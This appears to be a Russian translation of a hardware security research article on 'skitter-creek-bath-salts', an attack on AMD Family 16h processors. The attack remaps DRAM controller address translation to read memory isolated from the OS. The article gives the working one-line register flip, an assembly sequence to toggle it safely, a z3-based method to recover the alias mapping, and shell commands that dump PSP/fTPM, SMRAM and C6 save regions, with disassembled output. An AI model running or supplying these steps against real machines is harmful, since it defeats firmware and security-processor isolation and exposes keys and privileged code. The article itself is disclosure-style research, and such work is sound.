
Или как получить полный доступ к изнанке CPU через скремблирование DRAM — PSP, C6, микрокоду, среде SMM и всему остальному, что не попало на страницы спецификации.
Всё-таки не всегда &x == &x...
Через вмешательство в работу контроллера DRAM можно сделать так, что обращение по определённому адресу будет вести в любую нужную область памяти. skitter-creek-bath-salts изменяет нижние слои структуры памяти, перестраивая трансляцию физических адресов DRAM. Такой скрэмблинг раскрывает защищённые области памяти, в том числе изолированные зоны, которые не видит даже само ядро. Когда ломается трансляция памяти, следом рушатся построенные на ней механизмы безопасности, и мы получаем доступ буквально ко всему.
Основные разделы:
Задача
Разработка и тестирование взлома производились на процессорах AMD Family 16h — последнем поколении, в спецификации которого описаны регистры трансляции контроллера DRAM и очевидна невозможность их блокировки. В документации для последующих поколений эта информация просто опущена. При этом весь сложный путь трансформации адреса в конвейере *p аналогичен для разных поколений и архитектур, включая ARM и RISC-V, а skitter-creek-bath-salts лишь показывает, с чего начать.
Тернистый путь *p
Длительное путешествие на самое дно.
Работа с памятью включает столько слоёв абстракции, что это может показаться абсурдным. Когда ваш код выполняет операцию *p, кажется, что он обращается к участку DRAM по адресу p. Но по факту всё далеко не так. p — это виртуальный адрес, и прежде, чем сигнал дойдёт до реальных ячеек памяти, ему нужно пройти целую череду испытаний:
── ядро CPU / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-битный виртуальный адрес из инструкции загрузки/сохранения │ └> проверка каноничности формы ───────────┐ ← биты [63:48] дублируют значение 47 бита (расширение знака) ┌─ прибавление базового адреса сегмента <─┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> Опрос TLB ──────────────────────────────┐ ← помечается тегами PCID (хост) / VPID (гость) попадание → физический адрес k │ промах → аппаратный обход страниц │ ┌─ обход страниц (с CR3) <─────────────────┘ ← только при промахе TLB │ PML5[VA 56:48] ← только если CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← возможна конечная страница 1 ГиБ │ PD [VA 29:21] ← возможна конечная страница 2 МиБ │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> проверки по уровням─────────────────────┐ ← на каждом уровне обхода привилегии (U/S) │ ← CPL vs PTE.U/S запись (R/W) │ ← + CR0.WP исполнение (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC ключи защиты │ ← PKRU (user) · IA32_PKRS (супервизор) ┌─ обновление битов A/D <──────────────────┘ ← атомарная операция RMW для таблицы страниц │ └> гость: повторный обход страниц EPT / NPT ──────────────┐ ← каждый гостевой физический адрес из шагов выше обходится заново EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + переопределение типа памяти через EPT ⇒ каждый гостевой обход требует ~5 обходов хоста │ ┌─ IPI-запросы сброса TLB <───────────────────────────────┘ ← рассылка invlpg на соседние vCPU │ │ ── IOMMU (чипсет / системная шина I/O) ────────────────────────────────── │ └> если инициировано устройством, обход страниц IOMMU ──┐ ← VT-d / AMD-Vi: ID устройства → область → таблицы │ ┌── физический адрес k <───────────────────────────────┘ │ │ ── ядро CPU / MMU — определение типа памяти ──────────────────────── │ └> сопоставление диапазонов MTRR ───────────┐ ← IA32_MTRR_DEF_TYPE + фиксированные/переменные MTRR ┌─ выбор записи PAT <───────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> итоговый тип памяти ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── внеядерная часть CPU— кэши и контроль когерентности ────────────────────────── │ ┌─ опрос L1-D <─────────────────────────────┘ ← VIPT, по каждому ядру │ └> опрос L2 ────────────────────────────────┐ ← по каждому ядру / CCX ┌─ опрос LLC + обращение к директории <─────┘ ← общий, разделенный на слайсы │ └> snoop-запросы / контроль когерентности ───┐ ← рассылка MESI / MOESI внутри процессора │ ← рассылка соседним ядрам между процессорами │ ← QPI · UPI · Infinity Fabric · CXL.cache ответ директории домашнего узла │ ← выдача данных из DRAM | перехват запроса другим ядром | отмена │ ── шина Data Fabric / Interconnect ───────────────────────── │ ┌─ если попадает в диапазон (дыру) MMIO ниже 4 ГиБ <─┘ ← транзакции внеядерной логики (uncore) / шины данных с подтверждением / без подтверждения │ → BAR устройства; done │ └> остальное направляется в DRAM: шина Data Fabric / Mesh ────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (контроллер памяти) ──────────────────────────────── ┃ ┌─ ремаппинг «дыры» DRAM <────────────────────────────────────┘ ← ремаппинг памяти выше TOM M ┃ │ Ы ┃ └> ремаппинг исключений областей памяти ────────┐ ← зарезервированные / защищенные диапазоны ┃ ┌─ хэширование чередования каналов <────────────┘ ← XOR выбранных битов PA → канал ┃ │ З ┃ └> хэширование чередования рангов───────────────┐ ← XOR выбранных битов PA → ранг Д ┃ ┌─ хэширование чередования банков <─────────────┘ ← XOR битов выбранного PA → банк E ┃ │ C ┃ └> перемешивание банков / XOR-скремблирование ──┐ ← настраивается производителем и в BIOS Ь ┃ ┌─ нормализация выбора чипа (DCT) <─────────────┘ ← линия CS на каждый ранг ┃ │ ранг → карта CS ┃ │ ┃ └> выбор подканала ────────────────────────┐ ← только DDR5 / LPDDR5 ┗━━ │ │ Координаты DRAM <───────────────────────┘ ← группировка банков · банк · строка (RAS) · столбец (CAS)
Этот проект работает на самой глубине конвейера *p — на уровне MCT/DCT — где физический адрес из шины data fabric/interconnect поступает на контроллер памяти и последний раз перезаписывается в непосредственные координаты DRAM, подаваемые на модуль DIMM.
«Спагеттификация» DRAM
По факту физический адрес выступает просто рекомендацией, а не жёсткой инструкцией.
xor dword [0xf80c2094], 0x00400000
Вот и весь эксплойт.
Инвертируя один бит в контроллере DRAM, мы перестраиваем нижнюю часть конвейера *p, и запрос к данным по адресу &x теперь попадёт в совершенно другое место — внезапно &x != &x. Каждый механизм, который CPU, прошивка, внеядерная логика (uncore) и чипсет используют для ограждения защищённой памяти, реализован поверх контроллера памяти, и ни один из них не видит, что происходит внизу. Эти барьеры защищают физические адреса, а не координаты DRAM. Поэтому стоит изменить координаты, и никто этого не заметит.
Но перестройка DRAM — это лёгкая часть задачи. Тот бит, который я инвертировал выше, отвечает за перемешивание банков (bank-swizzle-mode) в DCT и является лишь одним из десятков других, которые контролируют ремаппинг адресов на финальном слое. Достаточно их слегка подёргать, чтобы вся выстроенная поверх система рухнула. Сложность же в том, чтобы при этом не уронить всю систему.
Чтобы этого не допустить, нужно действовать быстро и не касаться DRAM. Отключаем прикладные ядра (AP), предварительно заполняем TLB, прогреваем кэш, запрещаем прерывания, сбрасываем целевую область кэша, сериализуем обращения к памяти и надеемся, что процессор уже сделал предвыборку следующих инструкций кода. Затем перенастраиваем регистры MCT/DCT, превращая DRAM в «спагетти», выхватываем нужные данные из защищённой области, возвращаем исходную карту памяти, снова проводим сериализацию, разрешаем прерывания, возобновляем работу прикладных ядер — и вуаля, система снова работает как ни в чём не бывало.
mov eax, [0xf80c2094] ; кэшируем TLB для mmio mov eax, [0x6f800000] ; кэшируем трансляцию целевого адреса в TLB pushf ; сохраняем флаги cli ; отключаем прерывания clflush [0x6f800000] ; вытесняем целевой адрес из кэша, заставляя выполнять чтение из DRAM mfence ; барьер: запрещает изменять порядок операций между когерентным lfence ; доступом к DRAM и режимом «спагетти» xor dword [0xf80c2094], 1<<22 ; инвертируем бит перемешивания (swizzle) в DCT → превращаем структуру DRAM в «спагетти» mov ebx, [0x6f800000] ; запрашиваем содержимое целевого адреса из перемешанного представления xor dword [0xf80c2094], 1<<22 ; снова инвертируем бит перемешивания в DCT → возвращаем исходную структуру памяти mfence ; барьер: не допускаем изменения порядка операций доступа к DRAM между lfence ; режимом «спагетти» и когерентным состоянием popf ; включаем прерывания
При тщательной настройке страничной адресации, состояний кэша, многопоточности и TLB, скремблирование адресов можно реализовать прямо из C. Это позволит наглядно проиллюстрировать крах конвейера *p и искажённое представление памяти системы, когда внезапно оказывается, что &x != &x

Итак, мы можем перекроить карту памяти и восстановить её без каких-либо улик. Осталось лишь понять, как именно мы её изменили.
Все барьеры долой
До каждой защищённой области памяти системы можно дотянуться с помощью простого расчёта.
Описанный выше подход позволяет перепрограммировать преобразование MCT/DCT в работающей системе, изменяя конфигурацию самого нижнего уровня конвейера *p, чтобы скремблировать память в обход всех выстроенных поверх него защит.
Но здесь есть сложность. Хоть мы и можем перепрограммировать трансляцию с помощью простой команды xor dword [0xf80c2094], 0x00400000, нам неизвестно, какие новые преобразования использует MCT/DCT. В спецификации этот момент описан поверхностно: карты XOR не совпадают, субтрактивный этап MMIO выполняется без строгого порядка, плюс детали меняются от модели к модели. Без понимания всех этих нюансов мы успешно превратим память в «спагетти», но собрать обратно уже не сможем.
К счастью, преобразование адресов в контроллере DRAM представляет собой линейное отображение в поле GF(2). Это значит, что перемешанную память можно восстановить методами базовой линейной алгебры.
Для начала рассмотрим стандартный случай, когда базовое преобразование конфигурации MCT/DCT применяется к физическому адресу, который проецируется на секретную область в DRAM:
┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_firmware target secret
Это когерентное представление памяти: нижний этап конвейера *p работает как положено.
А теперь перестроим этап MCT/DCT с помощью xor dword [0xf80c2094], 0x00400000, и система войдёт в режим искажённого представления памяти, в котором уже совсем другое преобразование позволит нам по альтернативному адресу дотянуться до той же закрытой области DRAM:
┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret
Этот алиас позволяет получить данные из той же закрытой области в обход защитных механизмов и блокировок системы, рассчитанных на когерентные представления. Чтобы найти этот алиас, необходимо объединить обратное преобразование искажённого хэша с прямым преобразованием когерентного хэша. Так мы получим схему трансляции, которая даст возможность достать любой секрет посредством скомпрометированной конфигурации MCT/DCT:
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
Единственная проблема в том, что нам неизвестны матрицы преобразований — а значит, мы понятия не имеем, как реально скремблируется память, и у нас нет формулы преобразования, которая бы позволила добраться до нужного секрета:
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
Зато на этом этапе проблема решается простой линейной алгеброй, и при желании эти преобразования можно рассчитать даже вручную. Ну или с помощью калькулятора.
Мы сделаем это с помощью z3. Первым делом для SMT-солвера нужно задать условия задачи.
Находясь в когерентном режиме, переключаем MCT/DCT в искажённый режим, затем по случайному адресу записываем уникальную метку вроде 0xdeadc0de, возвращаемся в когерентный режим и прочёсываем память в поисках того, где эта метка всплывёт. Так мы получим пару (целевой адрес, альтернативный адрес), которая наглядно покажет пример того, как два разных физических адреса ведут к одной и той же ячейке DRAM. Затем повторим процесс, соберём достаточно таких данных и передадим их в z3. Солвер сам построит матрицу трансляции, необходимую для преобразования между двумя представлениями. На одной стороне будет находиться любой физический адрес из когерентного представления, а на другой — его алиас для искажённого представления:
┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ ∘ M_firmware target alias
Поочередно передавая полученные пары адресов в z3, мы сможем наблюдать, как SMT-солвер в реальном времени расшифровывает схему скремблинга памяти. Как раз это и было продемонстрировано на гифке в начале статьи.
Найденная схема преобразования послужит Розеттским камнем. Теперь любой целевой адрес в когерентном представлении будет отображаться в алиас, ведущий к той же области DRAM, но уже в искажённой структуре памяти. Чтобы достичь любого защищённого участка памяти, возьмите адрес, к которому в обычном случае обратиться нельзя — закрытую область PSP, SMRAM, состояние простоя C6 — и прогоните его через преобразование, чтобы получить алиас. Затем измените DCT командой xor dword [0xf80c2094], 0x00400000, прочтите или запишите данные по этому алиасу и переключитесь обратно второй командой xor. При прохождении конвейера *p запрос по этому альтернативному адресу никогда не наткнётся на защиты, созданные для когерентного представления — то есть мы получаем неограниченный доступ к любому участку DRAM.

В конечном счёте всё, что так тщательно изолировалось — закрытая область PSP, SMRAM и память состояния C6, которые недоступны для ОС, режима ring 0 и порой даже для самого процессора — по-прежнему физически находится в тех же самых конденсаторах DRAM. Однако все эти замки создавались вокруг когерентного представления памяти, и они абсолютно бессильны против подменного адреса, ведущего к той же самой ячейке.
Достаточно переключить один-единственный бит на самом последнем этапе конвейера *p — и мы откроем доступ ко всему.
К делу
Вскрываем Platform Security Processor
Поиграйтесь с PSP и посмотрите, что из этого выйдет.
fTPM работает на собственном ARM-ядре внутри PSP — в изолированной области DRAM сразу за видимой границей верхней памяти (TOM). Направьте туда алиас любого доступного для ОС физического адреса, выкачайте байты содержимого и дизассемблируйте их.
# Досрочно завершаем работу на платформах, где этот код не тестировался. ./userspace/platform_check || exit 1 # Определяем координаты изолированной области DRAM для PSP — устанавливаем переменные # PSP_BASE / PSP_SIZE (на тестовом стенде это 0x7f800000 / 0x800000). Замените '2x4gb' на любой # префикс в data/maps/, соответствующий вашим модулям DIMM; по одному флагу --map на # каждую снятую карту памяти. eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin # PSP — это ARM-ядро, поэтому дизассемблируем в режиме Thumb-2. Вырезаем функцию # crAmd_ModExp (размер 0x64 байт по смещению PSP_BASE+0x19d4) прямо из полученного дампа. objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \ --start-address=$((PSP_BASE + 0x19d4)) \ --stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \ -D psp.bin
; crAmd_ModExp — процедура модульного возведения в степень для RSA внутри fTPM, полностью ; восстановленная из закрытой области DRAM, относящейся к PSP. 7f8019d4: b5f0 push {r4, r5, r6, r7, lr} 7f8019d6: b0e5 sub sp, #404 7f8019de: 2280 movs r2, #128 ; 1024-битный операнд 7f8019e4: f7fe ffef bl 0x7f8009c6 ; импорт основания (aA) 7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x" 7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; импорт экспоненты (aB) 7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x" 7f801a18: f000 fdd4 bl 0x7f8025c4 ; вызов modexp 7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit" 7f801a22: f000 fef5 bl 0x7f802810 ; логирование ошибки 7f801a2e: f001 e92a blx 0x7f802c84 ; экспорт результата 7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
Перед нами криптографический движок RSA из PSP — то самое модульное возведение в степень, которое стоит за каждой подписью fTPM и за тестами Миллера — Рабина, чеканящими его ключи. Мы вытащили его из памяти, которой PSP должен владеть единолично, изолированной на уровне контроллера и абсолютно непрозрачной даже для ring 0. Играйтесь с ним своё удовольствие.
Вскрываем System Management Mode
Прочитаем, что же таит в себе SMM.
Вектор входа обработчика SMI находится по адресу SMBASE + 0x8000. Сам SMBASE записан в MSR по адресу 0xc0010111. Прочитайте его, извлеките байты через карту алиасов и отправьте их напрямую в дизассемблер:
# Досрочно завершаем работу на платформах, где этот код не тестировался. ./userspace/platform_check || exit 1 sudo modprobe msr # Значение SMBASE уникально для каждого ядра; для ядра 0 оно находится в MSR-регистре по # адресу 0xc0010111. SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 )) # Делаем дамп вектора входа через карту алиасов и одновременно дизассемблируем полученный код. # SMM стартует в реальном режиме, поэтому ndisasm вызывается с флагом -b 16. # По одному флагу --map на каждую снятую карту; printf разворачивает маску файлов в параметры # --map для каждой комбинации (at_swizzle, at_bankswap). sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
; Инициализация входа в SMI — самый первый код, который выполняет ядро при входе в ; ультрапривилегированный режим системного управления (SMM) mov si,0x8148 ; SI -> указатель на GDT, оставленный по адресу SMBASE+0x8148, сразу за кодом инициализации. o32 lgdt [cs:si] ; загружаем GDT (o32 -> полный 32-битный базовый адрес, а не его 24-битная форма реального режима) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; переключаем ядро в защищённый режим. jmp short 0x14 ; короткий переход для сериализации и очистки очереди предвыборки после переключения. mov ax,0x18 ; селектор GDT 0x18 -> плоский сегмент данных. mov ss,ax ; перезагружаем SS для защищённого режима. mov eax,0x6efe2ff8 ; вершина стека SMM. mov esp,eax ; определяем стек SMM. o32 push byte +0x10 ; фрейм дальнего возврата: CS = селектор кода 0x10. mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = значение SMBASE текущего ядра. mov ebx,eax ; сохраняем значение SMBASE. add eax,0x803a ; EAX = SMBASE+0x803a (32-битная точка входа в обработчик). push eax ; фрейм дальнего возврата: EIP = SMBASE+0x803a retfd ; дальний возврат в 0x10:SMBASE+0x803a — к самому обработчику SMI.
Эти инструкции выполняются в ring-2 — самом привилегированном контексте процессора, внутри области памяти, которую чипсет должен делать нечитаемой. В таком сценарии, когда мы можем общаться с контроллером DRAM, утверждение о «заблокированности» памяти SMRAM оказывается лишь вежливым предположением.
Замените 2x4gb на любой префикс в data/maps/, соответствующий вашим модулям DIMM (узнать их модель можно через sudo dmidecode -t memory). Если вашей топологии там не будет, запустите analysis/gather_aliases.py, а затем analysis/unspaghettify.py, чтобы собрать её самостоятельно.
Вскрываем области хранения C6 в DRAM
Понятия не имею, что здесь находится, и даже обсуждений на эту тему не встречал — похоже, что значения регистров CPU. Так что развлекайтесь.
Когда при переходе в состояние C6 ядра обесточиваются, в этой области сохраняется полный архитектурный контекст x86 для последующего восстановления.
./userspace/platform_check || exit 1 # Находим границы области сохранения C6 — устанавливаем переменные # CC6_BASE / CC6_SIZE (на тестовом стенде это 0x7f000000 / 0x800000). # Состояние каждого спящего ядра хранится в отдельной области сохранения размером 16 КиБ; # для наших четырёх ядер эти области находятся по адресам CC6_BASE + {0, 0x4000, 0x8000, 0xc000}. eval "$(sudo ./userspace/dram_carveouts --region cc6)" sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \ $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin # К примеру, на этой платформе регистр IA32_APIC_BASE в каждой области находится по смещению +0x9b8. # Считываем его значение для всех четырёх ядер прямо из дампа: for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1 done
core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
Одно ядро с установленным битом BSP и три без него — это загрузочный процессор и три его прикладных ядра (AP), застигнутые в момент сна. Теперь их состояние для нас как на ладони.
Чем глубже вы здесь копнёте, тем больше значений из разных регистров отыщите:
Смещение |
Состояние x86 |
Значение core-0 |
+0x8b0 |
GS / базовый адрес данных отдельного ядра |
|
+0x9a0 |
CR3 (Базовый адрес таблицы страниц) |
|
+0x9b8 |
IA32_APIC_BASE |
|
